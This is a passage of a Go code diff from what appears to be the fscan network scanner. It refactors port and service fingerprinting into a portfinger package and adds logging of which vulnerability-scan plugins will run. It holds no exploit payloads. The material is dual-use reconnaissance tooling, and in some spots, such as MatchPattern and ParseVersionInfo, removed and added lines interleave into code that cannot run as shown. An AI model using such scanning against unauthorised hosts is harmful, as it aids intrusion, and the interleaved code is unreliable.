||||
|
||||
// 分割文本获取pattern和版本信息
|
||||
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
||||
if len(textSplited) == 0 {
|
||||
return match, fmt.Errorf("无效的match指令格式")
|
||||
}
|
||||
|
||||
pattern := textSplited[0]
|
||||
versionInfo := strings.Join(textSplited[1:], "")
|
||||
|
||||
// 解码并编译正则表达式
|
||||
patternUnescaped, decodeErr := DecodePattern(pattern)
|
||||
if decodeErr != nil {
|
||||
common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
||||
return match, decodeErr
|
||||
}
|
||||
|
||||
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
||||
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
||||
if compileErr != nil {
|
||||
common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
||||
return match, compileErr
|
||||
}
|
||||
|
||||
// 设置match对象属性
|
||||
match.Service = directive.DirectiveName
|
||||
match.Pattern = pattern
|
||||
match.PatternCompiled = patternCompiled
|
||||
match.VersionInfo = versionInfo
|
||||
|
||||
common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s",
|
||||
match.Service, match.Pattern))
|
||||
return match, nil
|
||||
}
|
||||
|
||||
// 解析softmatch指令获取软匹配规则
|
||||
func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
|
||||
common.LogDebug("开始解析softmatch指令:" + data)
|
||||
softMatch = Match{IsSoft: true}
|
||||
|
||||
// 提取softmatch文本并解析指令语法
|
||||
matchText := data[len("softmatch")+1:]
|
||||
directive := p.getDirectiveSyntax(matchText)
|
||||
|
||||
// 分割文本获取pattern和版本信息
|
||||
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
||||
if len(textSplited) == 0 {
|
||||
return softMatch, fmt.Errorf("无效的softmatch指令格式")
|
||||
}
|
||||
|
||||
pattern := textSplited[0]
|
||||
versionInfo := strings.Join(textSplited[1:], "")
|
||||
|
||||
// 解码并编译正则表达式
|
||||
patternUnescaped, decodeErr := DecodePattern(pattern)
|
||||
if decodeErr != nil {
|
||||
common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
||||
return softMatch, decodeErr
|
||||
}
|
||||
|
||||
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
||||
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
||||
if compileErr != nil {
|
||||
common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
||||
return softMatch, compileErr
|
||||
}
|
||||
|
||||
// 设置softMatch对象属性
|
||||
softMatch.Service = directive.DirectiveName
|
||||
softMatch.Pattern = pattern
|
||||
softMatch.PatternCompiled = patternCompiled
|
||||
softMatch.VersionInfo = versionInfo
|
||||
|
||||
common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s",
|
||||
softMatch.Service, softMatch.Pattern))
|
||||
return softMatch, nil
|
||||
}
|
||||
|
||||
// 解码模式字符串,处理转义序列
|
||||
func DecodePattern(s string) ([]byte, error) {
|
||||
common.LogDebug("开始解码pattern: " + s)
|
||||
sByteOrigin := []byte(s)
|
||||
|
||||
// 处理十六进制、八进制和结构化转义序列
|
||||
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
|
||||
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) (v []byte) {
|
||||
var replace []byte
|
||||
|
||||
// 处理十六进制转义
|
||||
if isHexCode(match) {
|
||||
hexNum := match[2:]
|
||||
byteNum, _ := strconv.ParseInt(string(hexNum), 16, 32)
|
||||
if isReChar(byteNum) {
|
||||
replace = []byte{'\\', uint8(byteNum)}
|
||||
} else {
|
||||
replace = []byte{uint8(byteNum)}
|
||||
}
|
||||
}
|
||||
|
||||
// 处理结构化转义字符
|
||||
if isStructCode(match) {
|
||||
structCodeMap := map[int][]byte{
|
||||
97: []byte{0x07}, // \a 响铃
|
||||
102: []byte{0x0c}, // \f 换页
|
||||
116: []byte{0x09}, // \t 制表符
|
||||
110: []byte{0x0a}, // \n 换行
|
||||
114: []byte{0x0d}, // \r 回车
|
||||
118: []byte{0x0b}, // \v 垂直制表符
|
||||
}
|
||||
replace = structCodeMap[int(match[1])]
|
||||
}
|
||||
|
||||
// 处理八进制转义
|
||||
if isOctalCode(match) {
|
||||
octalNum := match[2:]
|
||||
byteNum, _ := strconv.ParseInt(string(octalNum), 8, 32)
|
||||
replace = []byte{uint8(byteNum)}
|
||||
}
|
||||
return replace
|
||||
})
|
||||
|
||||
// 处理其他转义序列
|
||||
matchRe2 := regexp.MustCompile(`\\([^\\])`)
|
||||
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) (v []byte) {
|
||||
if isOtherEscapeCode(match) {
|
||||
return match
|
||||
}
|
||||
return match
|
||||
})
|
||||
|
||||
common.LogDebug("pattern解码完成")
|
||||
return sByteDec2, nil
|
||||
}
|
||||
|
||||
// ProbesRarity 用于按稀有度排序的探测器切片
|
||||
type ProbesRarity []Probe
|
||||
|
||||
// Len 返回切片长度,实现 sort.Interface 接口
|
||||
func (ps ProbesRarity) Len() int {
|
||||
return len(ps)
|
||||
}
|
||||
|
||||
// Swap 交换切片中的两个元素,实现 sort.Interface 接口
|
||||
func (ps ProbesRarity) Swap(i, j int) {
|
||||
ps[i], ps[j] = ps[j], ps[i]
|
||||
}
|
||||
|
||||
// Less 比较函数,按稀有度升序排序,实现 sort.Interface 接口
|
||||
func (ps ProbesRarity) Less(i, j int) bool {
|
||||
return ps[i].Rarity < ps[j].Rarity
|
||||
}
|
||||
|
||||
// Target 定义目标结构体
|
||||
type Target struct {
|
||||
IP string // 目标IP地址
|
||||
Port int // 目标端口
|
||||
Protocol string // 协议类型
|
||||
}
|
||||
|
||||
// ContainsPort 检查指定端口是否在探测器的端口范围内
|
||||
func (p *Probe) ContainsPort(testPort int) bool {
|
||||
common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports))
|
||||
|
||||
// 检查单个端口
|
||||
ports := strings.Split(p.Ports, ",")
|
||||
for _, port := range ports {
|
||||
port = strings.TrimSpace(port)
|
||||
cmpPort, err := strconv.Atoi(port)
|
||||
if err == nil && testPort == cmpPort {
|
||||
common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort))
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// 检查端口范围
|
||||
for _, port := range ports {
|
||||
port = strings.TrimSpace(port)
|
||||
if strings.Contains(port, "-") {
|
||||
portRange := strings.Split(port, "-")
|
||||
if len(portRange) != 2 {
|
||||
common.LogDebug("无效的端口范围格式: " + port)
|
||||
continue
|
||||
}
|
||||
|
||||
start, err1 := strconv.Atoi(strings.TrimSpace(portRange[0]))
|
||||
end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1]))
|
||||
|
||||
if err1 != nil || err2 != nil {
|
||||
common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port))
|
||||
continue
|
||||
}
|
||||
|
||||
if testPort >= start && testPort <= end {
|
||||
common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end))
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort))
|
||||
return false
|
||||
}
|
||||
|
||||
// MatchPattern 使用正则表达式匹配响应内容
|
||||
func (m *Match) MatchPattern(response []byte) bool {
|
||||
// 将响应转换为字符串并进行匹配
|
||||
responseStr := string([]rune(string(response)))
|
||||
foundItems := m.PatternCompiled.FindStringSubmatch(responseStr)
|
||||
|
||||
if len(foundItems) > 0 {
|
||||
m.FoundItems = foundItems
|
||||
common.LogDebug(fmt.Sprintf("匹配成功,找到 %d 个匹配项", len(foundItems)))
|
||||
return true
|
||||
}
|
||||
common.LogDebug("初始化PortFinger兼容层")
|
||||
|
||||
return false
|
||||
// 初始化兼容性全局变量
|
||||
v = portfinger.GetGlobalVScan()
|
||||
null = portfinger.GetNullProbe()
|
||||
commonProbe = portfinger.GetCommonProbe()
|
||||
|
||||
common.LogDebug("PortFinger兼容层初始化完成")
|
||||
}
|
||||
|
||||
// ParseVersionInfo 解析版本信息并返回额外信息结构
|
||||
func (m *Match) ParseVersionInfo(response []byte) Extras {
|
||||
common.LogDebug("开始解析版本信息")
|
||||
var extras = Extras{}
|
||||
// 重新导出编码函数
|
||||
var DecodeData = portfinger.DecodeData
|
||||
var DecodePattern = portfinger.DecodePattern
|
||||
|
||||
// 替换版本信息中的占位符
|
||||
foundItems := m.FoundItems[1:] // 跳过第一个完整匹配项
|
||||
versionInfo := m.VersionInfo
|
||||
for index, value := range foundItems {
|
||||
dollarName := "$" + strconv.Itoa(index+1)
|
||||
versionInfo = strings.Replace(versionInfo, dollarName, value, -1)
|
||||
}
|
||||
common.LogDebug("替换后的版本信息: " + versionInfo)
|
||||
// 重新导出探测器字符串
|
||||
var ProbeString = portfinger.ProbeString
|
||||
|
||||
// 定义解析函数
|
||||
parseField := func(field, pattern string) string {
|
||||
patterns := []string{
|
||||
pattern + `/([^/]*)/`, // 斜线分隔
|
||||
pattern + `\|([^|]*)\|`, // 竖线分隔
|
||||
}
|
||||
|
||||
for _, p := range patterns {
|
||||
if strings.Contains(versionInfo, pattern) {
|
||||
regex := regexp.MustCompile(p)
|
||||
if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 {
|
||||
common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1]))
|
||||
return matches[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// 解析各个字段
|
||||
extras.VendorProduct = parseField("厂商产品", " p")
|
||||
extras.Version = parseField("版本", " v")
|
||||
extras.Info = parseField("信息", " i")
|
||||
extras.Hostname = parseField("主机名", " h")
|
||||
extras.OperatingSystem = parseField("操作系统", " o")
|
||||
extras.DeviceType = parseField("设备类型", " d")
|
||||
|
||||
// 特殊处理CPE
|
||||
if strings.Contains(versionInfo, " cpe:/") || strings.Contains(versionInfo, " cpe:|") {
|
||||
cpePatterns := []string{`cpe:/([^/]*)`, `cpe:\|([^|]*)`}
|
||||
for _, pattern := range cpePatterns {
|
||||
regex := regexp.MustCompile(pattern)
|
||||
if cpeName := regex.FindStringSubmatch(versionInfo); len(cpeName) > 0 {
|
||||
if len(cpeName) > 1 {
|
||||
extras.CPE = cpeName[1]
|
||||
} else {
|
||||
extras.CPE = cpeName[0]
|
||||
}
|
||||
common.LogDebug("解析到CPE: " + extras.CPE)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return extras
|
||||
}
|
||||
|
||||
// ToMap 将 Extras 转换为 map[string]string
|
||||
func (e *Extras) ToMap() map[string]string {
|
||||
common.LogDebug("开始转换Extras为Map")
|
||||
result := make(map[string]string)
|
||||
|
||||
// 定义字段映射
|
||||
fields := map[string]string{
|
||||
"vendor_product": e.VendorProduct,
|
||||
"version": e.Version,
|
||||
"info": e.Info,
|
||||
"hostname": e.Hostname,
|
||||
"os": e.OperatingSystem,
|
||||
"device_type": e.DeviceType,
|
||||
"cpe": e.CPE,
|
||||
}
|
||||
|
||||
// 添加非空字段到结果map
|
||||
for key, value := range fields {
|
||||
if value != "" {
|
||||
result[key] = value
|
||||
common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value))
|
||||
}
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result)))
|
||||
return result
|
||||
}
|
||||
|
||||
func DecodeData(s string) ([]byte, error) {
|
||||
if len(s) == 0 {
|
||||
common.LogDebug("输入数据为空")
|
||||
return nil, fmt.Errorf("empty input")
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("开始解码数据,长度: %d, 内容: %q", len(s), s))
|
||||
sByteOrigin := []byte(s)
|
||||
|
||||
// 处理十六进制、八进制和结构化转义序列
|
||||
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
|
||||
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) []byte {
|
||||
// 处理十六进制转义
|
||||
if isHexCode(match) {
|
||||
hexNum := match[2:]
|
||||
byteNum, err := strconv.ParseInt(string(hexNum), 16, 32)
|
||||
if err != nil {
|
||||
return match
|
||||
}
|
||||
return []byte{uint8(byteNum)}
|
||||
}
|
||||
|
||||
// 处理结构化转义字符
|
||||
if isStructCode(match) {
|
||||
structCodeMap := map[int][]byte{
|
||||
97: []byte{0x07}, // \a 响铃
|
||||
102: []byte{0x0c}, // \f 换页
|
||||
116: []byte{0x09}, // \t 制表符
|
||||
110: []byte{0x0a}, // \n 换行
|
||||
114: []byte{0x0d}, // \r 回车
|
||||
118: []byte{0x0b}, // \v 垂直制表符
|
||||
}
|
||||
if replace, ok := structCodeMap[int(match[1])]; ok {
|
||||
return replace
|
||||
}
|
||||
return match
|
||||
}
|
||||
|
||||
// 处理八进制转义
|
||||
if isOctalCode(match) {
|
||||
octalNum := match[2:]
|
||||
byteNum, err := strconv.ParseInt(string(octalNum), 8, 32)
|
||||
if err != nil {
|
||||
return match
|
||||
}
|
||||
return []byte{uint8(byteNum)}
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("无法识别的转义序列: %s", string(match)))
|
||||
return match
|
||||
})
|
||||
|
||||
// 处理其他转义序列
|
||||
matchRe2 := regexp.MustCompile(`\\([^\\])`)
|
||||
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) []byte {
|
||||
if len(match) < 2 {
|
||||
return match
|
||||
}
|
||||
if isOtherEscapeCode(match) {
|
||||
return []byte{match[1]}
|
||||
}
|
||||
return match
|
||||
})
|
||||
|
||||
if len(sByteDec2) == 0 {
|
||||
common.LogDebug("解码后数据为空")
|
||||
return nil, fmt.Errorf("decoded data is empty")
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("解码完成,结果长度: %d, 内容: %x", len(sByteDec2), sByteDec2))
|
||||
return sByteDec2, nil
|
||||
}
|
||||
|
||||
// GetAddress 获取目标的完整地址(IP:端口)
|
||||
func (t *Target) GetAddress() string {
|
||||
addr := t.IP + ":" + strconv.Itoa(t.Port)
|
||||
common.LogDebug("获取目标地址: " + addr)
|
||||
return addr
|
||||
}
|
||||
|
||||
// trimBanner 处理和清理横幅数据
|
||||
func trimBanner(buf []byte) string {
|
||||
common.LogDebug("开始处理横幅数据")
|
||||
bufStr := string(buf)
|
||||
|
||||
// 特殊处理SMB协议
|
||||
if strings.Contains(bufStr, "SMB") {
|
||||
banner := hex.EncodeToString(buf)
|
||||
if len(banner) > 0xa+6 && banner[0xa:0xa+6] == "534d42" { // "SMB" in hex
|
||||
common.LogDebug("检测到SMB协议数据")
|
||||
plain := banner[0xa2:]
|
||||
data, err := hex.DecodeString(plain)
|
||||
if err != nil {
|
||||
common.LogDebug("SMB数据解码失败: " + err.Error())
|
||||
return bufStr
|
||||
}
|
||||
|
||||
// 解析domain
|
||||
var domain string
|
||||
var index int
|
||||
for i, s := range data {
|
||||
if s != 0 {
|
||||
domain += string(s)
|
||||
} else if i+1 < len(data) && data[i+1] == 0 {
|
||||
index = i + 2
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// 解析hostname
|
||||
var hostname string
|
||||
remainData := data[index:]
|
||||
for i, h := range remainData {
|
||||
if h != 0 {
|
||||
hostname += string(h)
|
||||
}
|
||||
if i+1 < len(remainData) && remainData[i+1] == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
smbBanner := fmt.Sprintf("hostname: %s domain: %s", hostname, domain)
|
||||
common.LogDebug("SMB横幅: " + smbBanner)
|
||||
return smbBanner
|
||||
}
|
||||
}
|
||||
|
||||
// 处理常规数据
|
||||
var src string
|
||||
for _, ch := range bufStr {
|
||||
if ch > 32 && ch < 125 {
|
||||
src += string(ch)
|
||||
} else {
|
||||
src += " "
|
||||
}
|
||||
}
|
||||
|
||||
// 清理多余空白
|
||||
re := regexp.MustCompile(`\s{2,}`)
|
||||
src = re.ReplaceAllString(src, ".")
|
||||
result := strings.TrimSpace(src)
|
||||
common.LogDebug("处理后的横幅: " + result)
|
||||
return result
|
||||
}
|
||||
|
||||
// Init 初始化VScan对象
|
||||
func (v *VScan) Init() {
|
||||
common.LogDebug("开始初始化VScan")
|
||||
v.parseProbesFromContent(ProbeString)
|
||||
v.parseProbesToMapKName()
|
||||
v.SetusedProbes()
|
||||
common.LogDebug("VScan初始化完成")
|
||||
}
|
||||
|
@ -3,6 +3,7 @@ package core
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/core/portfinger"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
@ -50,11 +51,7 @@ type PortInfoScanner struct {
|
||||
info *Info // 探测上下文
|
||||
}
|
||||
|
||||
// 预定义的基础探测器
|
||||
var (
|
||||
null = new(Probe) // 空探测器,用于基本协议识别
|
||||
commonProbe = new(Probe) // 通用探测器,用于常见服务识别
|
||||
)
|
||||
// 预定义的基础探测器已在PortFinger.go中定义,这里不再重复定义
|
||||
|
||||
// NewPortInfoScanner 创建新的端口服务识别器实例
|
||||
func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Duration) *PortInfoScanner {
|
||||
@ -347,7 +344,7 @@ func (i *Info) handleHardMatch(response []byte, match *Match) {
|
||||
|
||||
result.Service.Name = match.Service
|
||||
result.Extras = extrasMap
|
||||
result.Banner = trimBanner(response)
|
||||
result.Banner = portfinger.TrimBanner(string(response))
|
||||
result.Service.Extras = extrasMap
|
||||
|
||||
// 特殊处理 microsoft-ds 服务
|
||||
@ -363,7 +360,7 @@ func (i *Info) handleHardMatch(response []byte, match *Match) {
|
||||
// handleNoMatch 处理未找到匹配的情况
|
||||
func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, softMatch Match) {
|
||||
common.LogDebug("处理未匹配情况")
|
||||
result.Banner = trimBanner(response)
|
||||
result.Banner = portfinger.TrimBanner(string(response))
|
||||
|
||||
if !softFound {
|
||||
// 尝试识别 HTTP 服务
|
||||
|
@ -24,8 +24,10 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
|
||||
return nil
|
||||
}
|
||||
|
||||
exclude := make(map[int]struct{})
|
||||
for _, p := range parsers.ParsePort(common.ExcludePorts) {
|
||||
// 预估排除端口数量,通常不会超过100个
|
||||
excludePorts := parsers.ParsePort(common.ExcludePorts)
|
||||
exclude := make(map[int]struct{}, len(excludePorts))
|
||||
for _, p := range excludePorts {
|
||||
exclude[p] = struct{}{}
|
||||
}
|
||||
|
||||
|
@ -9,7 +9,6 @@ import (
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ScanTask 表示单个扫描任务
|
||||
@ -99,10 +98,6 @@ func ExecuteScanTasks(targets []common.HostInfo, strategy ScanStrategy, ch *chan
|
||||
// 准备扫描任务
|
||||
tasks := prepareScanTasks(targets, pluginsToRun, isCustomMode, strategy)
|
||||
|
||||
// 输出扫描计划
|
||||
if common.ShowScanPlan && len(tasks) > 0 {
|
||||
logScanPlan(tasks)
|
||||
}
|
||||
|
||||
// 初始化进度条
|
||||
if len(tasks) > 0 && common.ShowProgress {
|
||||
@ -170,8 +165,6 @@ func scheduleScanTask(pluginName string, target common.HostInfo, ch *chan struct
|
||||
*ch <- struct{}{} // 获取并发槽位
|
||||
|
||||
go func() {
|
||||
startTime := time.Now()
|
||||
|
||||
defer func() {
|
||||
// 捕获并记录任何可能的panic
|
||||
if r := recover(); r != nil {
|
||||
@ -180,11 +173,6 @@ func scheduleScanTask(pluginName string, target common.HostInfo, ch *chan struct
|
||||
}
|
||||
|
||||
// 完成任务,释放资源
|
||||
duration := time.Since(startTime)
|
||||
if common.ShowScanPlan {
|
||||
common.LogBase(fmt.Sprintf("完成 %s 扫描 %s:%s (耗时: %.2fs)",
|
||||
pluginName, target.Host, target.Ports, duration.Seconds()))
|
||||
}
|
||||
|
||||
wg.Done()
|
||||
<-*ch // 释放并发槽位
|
||||
|
@ -5,6 +5,7 @@ import (
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/common/parsers"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
@ -65,7 +66,7 @@ func (s *ServiceScanStrategy) performHostScan(hosts []string, info common.HostIn
|
||||
if len(hosts) > 0 || len(common.HostPort) > 0 {
|
||||
// 主机存活检测
|
||||
if s.shouldPerformLivenessCheck(hosts) {
|
||||
hosts = CheckLive(hosts, common.UsePing)
|
||||
hosts = CheckLive(hosts, false)
|
||||
common.LogBase(fmt.Sprintf("存活主机数量: %d", len(hosts)))
|
||||
}
|
||||
|
||||
@ -78,7 +79,9 @@ func (s *ServiceScanStrategy) performHostScan(hosts []string, info common.HostIn
|
||||
|
||||
// 执行漏洞扫描
|
||||
if len(targetInfos) > 0 {
|
||||
common.LogBase("开始漏洞扫描")
|
||||
common.LogBase(i18n.GetText("scan_vulnerability_start"))
|
||||
// 显示即将使用的漏洞扫描插件
|
||||
s.LogVulnerabilityPluginInfo(targetInfos)
|
||||
ExecuteScanTasks(targetInfos, s, ch, wg)
|
||||
}
|
||||
}
|
||||
@ -124,7 +127,7 @@ func (s *ServiceScanStrategy) PrepareTargets(info common.HostInfo) []common.Host
|
||||
if len(hosts) > 0 || len(common.HostPort) > 0 {
|
||||
// 主机存活检测
|
||||
if s.shouldPerformLivenessCheck(hosts) {
|
||||
hosts = CheckLive(hosts, common.UsePing)
|
||||
hosts = CheckLive(hosts, false)
|
||||
}
|
||||
|
||||
// 端口扫描
|
||||
@ -198,6 +201,44 @@ func (s *ServiceScanStrategy) LogPluginInfo() {
|
||||
}
|
||||
}
|
||||
|
||||
// LogVulnerabilityPluginInfo 输出漏洞扫描插件信息
|
||||
func (s *ServiceScanStrategy) LogVulnerabilityPluginInfo(targets []common.HostInfo) {
|
||||
allPlugins, isCustomMode := s.GetPlugins()
|
||||
|
||||
// 获取实际会被使用的插件列表
|
||||
var vulnerabilityPlugins []string
|
||||
pluginUsed := make(map[string]bool)
|
||||
|
||||
for _, target := range targets {
|
||||
targetPort := 0
|
||||
if target.Ports != "" {
|
||||
targetPort, _ = strconv.Atoi(target.Ports)
|
||||
}
|
||||
|
||||
for _, pluginName := range allPlugins {
|
||||
plugin, exists := common.PluginManager[pluginName]
|
||||
if !exists {
|
||||
continue
|
||||
}
|
||||
|
||||
// 检查插件是否适用于当前目标(使用与ExecuteScanTasks相同的逻辑)
|
||||
if s.IsPluginApplicable(plugin, targetPort, isCustomMode) {
|
||||
if !pluginUsed[pluginName] {
|
||||
vulnerabilityPlugins = append(vulnerabilityPlugins, pluginName)
|
||||
pluginUsed[pluginName] = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 输出插件信息
|
||||
if len(vulnerabilityPlugins) > 0 {
|
||||
common.LogBase(fmt.Sprintf(i18n.GetText("scan_vulnerability_plugins"), strings.Join(vulnerabilityPlugins, ", ")))
|
||||
} else {
|
||||
common.LogBase(i18n.GetText("scan_no_vulnerability_plugins"))
|
||||
}
|
||||
}
|
||||
|
||||
// IsPluginApplicable 判断插件是否适用于服务扫描
|
||||
func (s *ServiceScanStrategy) IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool {
|
||||
// 自定义模式下运行所有明确指定的插件
|
||||
|
105
Core/portfinger/encoding_utils.go
Normal file
105
Core/portfinger/encoding_utils.go
Normal file
@ -0,0 +1,105 @@
|
||||
package portfinger
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
|
||||
// DecodePattern 解码匹配模式
|
||||
func DecodePattern(s string) ([]byte, error) {
|
||||
b := []byte(s)
|
||||
var result []byte
|
||||
|
||||
for i := 0; i < len(b); {
|
||||
if b[i] == '\\' && i+1 < len(b) {
|
||||
// 处理转义序列
|
||||
switch b[i+1] {
|
||||
case 'x':
|
||||
// 十六进制编码 \xNN
|
||||
if i+3 < len(b) {
|
||||
if hexStr := string(b[i+2:i+4]); isValidHex(hexStr) {
|
||||
if decoded, err := hex.DecodeString(hexStr); err == nil {
|
||||
result = append(result, decoded...)
|
||||
i += 4
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
case 'a':
|
||||
result = append(result, '\a')
|
||||
i += 2
|
||||
continue
|
||||
case 'f':
|
||||
result = append(result, '\f')
|
||||
i += 2
|
||||
continue
|
||||
case 't':
|
||||
result = append(result, '\t')
|
||||
i += 2
|
||||
continue
|
||||
case 'n':
|
||||
result = append(result, '\n')
|
||||
i += 2
|
||||
continue
|
||||
case 'r':
|
||||
result = append(result, '\r')
|
||||
i += 2
|
||||
continue
|
||||
case 'v':
|
||||
result = append(result, '\v')
|
||||
i += 2
|
||||
continue
|
||||
case '\\':
|
||||
result = append(result, '\\')
|
||||
i += 2
|
||||
continue
|
||||
default:
|
||||
// 八进制编码 \NNN
|
||||
if i+1 < len(b) && b[i+1] >= '0' && b[i+1] <= '7' {
|
||||
octalStr := ""
|
||||
j := i + 1
|
||||
for j < len(b) && j < i+4 && b[j] >= '0' && b[j] <= '7' {
|
||||
octalStr += string(b[j])
|
||||
j++
|
||||
}
|
||||
if octal, err := strconv.ParseInt(octalStr, 8, 8); err == nil {
|
||||
result = append(result, byte(octal))
|
||||
i = j
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 普通字符
|
||||
result = append(result, b[i])
|
||||
i++
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// DecodeData 解码探测数据
|
||||
func DecodeData(s string) ([]byte, error) {
|
||||
// 移除首尾的分隔符
|
||||
if len(s) > 0 && (s[0] == '"' || s[0] == '\'') {
|
||||
s = s[1:]
|
||||
}
|
||||
if len(s) > 0 && (s[len(s)-1] == '"' || s[len(s)-1] == '\'') {
|
||||
s = s[:len(s)-1]
|
||||
}
|
||||
|
||||
return DecodePattern(s)
|
||||
}
|
||||
|
||||
// isValidHex 检查字符串是否为有效的十六进制
|
||||
func isValidHex(s string) bool {
|
||||
for _, c := range s {
|
||||
if !((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return len(s) == 2
|
||||
}
|
||||
|
173
Core/portfinger/match_engine.go
Normal file
173
Core/portfinger/match_engine.go
Normal file
@ -0,0 +1,173 @@
|
||||
package portfinger
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// 解析match指令获取匹配规则
|
||||
func (p *Probe) getMatch(data string) (match Match, err error) {
|
||||
common.LogDebug("开始解析match指令:" + data)
|
||||
match = Match{}
|
||||
|
||||
// 提取match文本并解析指令语法
|
||||
matchText := data[len("match")+1:]
|
||||
directive := p.getDirectiveSyntax(matchText)
|
||||
|
||||
// 分割文本获取pattern和版本信息
|
||||
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
||||
if len(textSplited) == 0 {
|
||||
return match, fmt.Errorf("无效的match指令格式")
|
||||
}
|
||||
|
||||
pattern := textSplited[0]
|
||||
versionInfo := strings.Join(textSplited[1:], "")
|
||||
|
||||
// 解码并编译正则表达式
|
||||
patternUnescaped, decodeErr := DecodePattern(pattern)
|
||||
if decodeErr != nil {
|
||||
common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
||||
return match, decodeErr
|
||||
}
|
||||
|
||||
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
||||
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
||||
if compileErr != nil {
|
||||
common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
||||
return match, compileErr
|
||||
}
|
||||
|
||||
// 设置match对象属性
|
||||
match.Service = directive.DirectiveName
|
||||
match.Pattern = pattern
|
||||
match.PatternCompiled = patternCompiled
|
||||
match.VersionInfo = versionInfo
|
||||
|
||||
common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s",
|
||||
match.Service, match.Pattern))
|
||||
return match, nil
|
||||
}
|
||||
|
||||
// 解析softmatch指令获取软匹配规则
|
||||
func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
|
||||
common.LogDebug("开始解析softmatch指令:" + data)
|
||||
softMatch = Match{IsSoft: true}
|
||||
|
||||
// 提取softmatch文本并解析指令语法
|
||||
matchText := data[len("softmatch")+1:]
|
||||
directive := p.getDirectiveSyntax(matchText)
|
||||
|
||||
// 分割文本获取pattern和版本信息
|
||||
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
||||
if len(textSplited) == 0 {
|
||||
return softMatch, fmt.Errorf("无效的softmatch指令格式")
|
||||
}
|
||||
|
||||
pattern := textSplited[0]
|
||||
versionInfo := strings.Join(textSplited[1:], "")
|
||||
|
||||
// 解码并编译正则表达式
|
||||
patternUnescaped, decodeErr := DecodePattern(pattern)
|
||||
if decodeErr != nil {
|
||||
common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
||||
return softMatch, decodeErr
|
||||
}
|
||||
|
||||
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
||||
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
||||
if compileErr != nil {
|
||||
common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
||||
